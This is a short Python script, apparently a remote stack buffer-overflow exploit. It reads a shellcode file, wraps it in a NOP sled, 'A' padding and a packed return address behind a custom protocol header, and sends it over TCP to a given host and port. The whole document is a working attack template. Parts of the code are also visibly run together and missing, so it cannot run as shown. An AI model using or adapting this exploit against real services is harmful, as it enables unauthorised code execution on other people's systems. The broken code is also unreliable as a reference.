from argparse import ArgumentParser from socket import socket, AF_INET, SOCK_STREAM from struct import pack class Exploit: def __init__(self) -> None: parser = ArgumentParser() for arg in ("host", "port", "file"): parser.add_argument( f"--{arg}", action = "store", required = True ) args = parser.parse_args() self.port = int(args.port) self.host = args.host self.file = args.file def make(self, buf: bytes) -> bytes: # prefix nops for stack interactions buf = b'\x90' * 16 + buf buf += b'\x41' * (400 - len(buf)) # bytecode buffer = b'\x41' * 124 buffer += pack(" None: # program header (prefixed) header = b"\x75\x19\xba\xab" header += b"\x03\x00\x00\x00" header += b"\x00\x40\x00\x00" header += pack(' None: with open(self.file, 'rb') as file: self.send(self.make(file.read())) if __name__ == "__main__": (_ := Exploit()).main()